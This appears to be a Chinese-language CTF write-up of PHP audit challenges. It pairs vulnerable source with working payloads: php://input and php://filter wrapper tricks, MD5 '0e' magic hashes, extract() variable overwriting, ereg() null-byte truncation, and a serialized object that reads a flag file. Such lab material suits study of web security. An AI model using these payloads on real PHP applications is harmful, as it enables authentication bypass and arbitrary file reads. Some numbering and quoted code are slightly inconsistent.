1.伪协议入门
考点php://input
payload:http://192.168.1.88/AUDIT01/?a=1&b=php://input
post:1
2.3弱类型
<?php
include("flag.php");
if(is_numeric($_GET['1']) && $_GET['1']=="255"){
if(strstr($_GET['1'],"255")==False){
echo $flag;
}
}
highlight_file(__FILE__);
?>
介绍一批md5开头是0e的字符串 上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5('240610708') == md5('QNKCDZO')成功绕过!
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
4.变量覆盖
<?php
include('flag.php');
extract($_GET);
if(isset($shiyan))
{
if(!isset($file) || $file == ""){
echo 'Give me file';
}else{
$content=trim(file_get_contents($file));
if($shiyan==$content)
{
echo $flag;
}
else
{
echo 'Oh.no';
}
}
}
echo '<br/>';
highlight_file(__FILE__);
?>
php伪协议
看到file_get_contents($file)就知道需要打开一个文件,伪协议
payload:http://192.168.1.88/PHP05/?shiyan=1&file=php://input
post:1
5.函数漏洞
<?php
include('flag.php');
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
highlight_file(__FILE__);
?>
GET方式提交password,然后用ereg()正则限制了password的形式,只能是一个或者多个数字、大小写字母,继续strlen()限制了长度小于8并且大小必须大于9999999,继续strpos()对password进行匹配,必须含有-,最终才输出flag
因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是e,也就是1.99714e13=19971400000000,所以构造1e8即100000000 > 9999999,在加上-。于是乎构造password=1e8%00-,成功得到答案
6.ereg函数有漏洞
<?php
header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) {
if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
echo '说好的数字呢?';
else if (strpos ( $_POST['num'], '#tag' ) !== FALSE)
die ( 'Flag: ' . $flag );
else
echo '你的数字不太符合我的心意哦!';
}
?>
<html>
<head>
<title>猜密码</title>
</head>
<body style="text-align: center">
<center>
<img src="num.png"/>
<form action="index.php" method="post">
<input type="text" name="num" /> <input type="submit" value="提交" />
</form>
</center>
<!-- index.php.txt -->
</body>
</html>
ereg函数正则匹配数字,且要含'#tag'
ereg可用%00截断绕过正则,直接构造payload: 1%00#tag
7.延时
<?php
include('flag.php');
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
?>
需要输入一个数字大于5184000且小于7776000,同时这个数字会成为sleep的时间,采用科学计数法来绕过sleep
payload:http://192.168.1.88/PHP04/index.php?time=5.2e6
8.综合题
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="i am admin")){
echo "<h1>hello admin!</h1>";
if(preg_match("/flag/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin!<br/> ";
}
-->
主要考php伪协议和php反序列化
http://192.168.1.88/PHP02/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php
post : i am admin
这样就得到class.php的内容,但是我们这样可以直接读取flag文件吗? 答案是不能,因为:
if(preg_match("/f1a9/",$file)){
exit();
但是class.php把我们引入到另一个地方,就是利用反序列化来读取flag文件
于是我们构造反序列化的参数:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
这里也是利用php://filter来读取flag文件
最后我的payload就是:
http://localhost:8000/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
借鉴帖子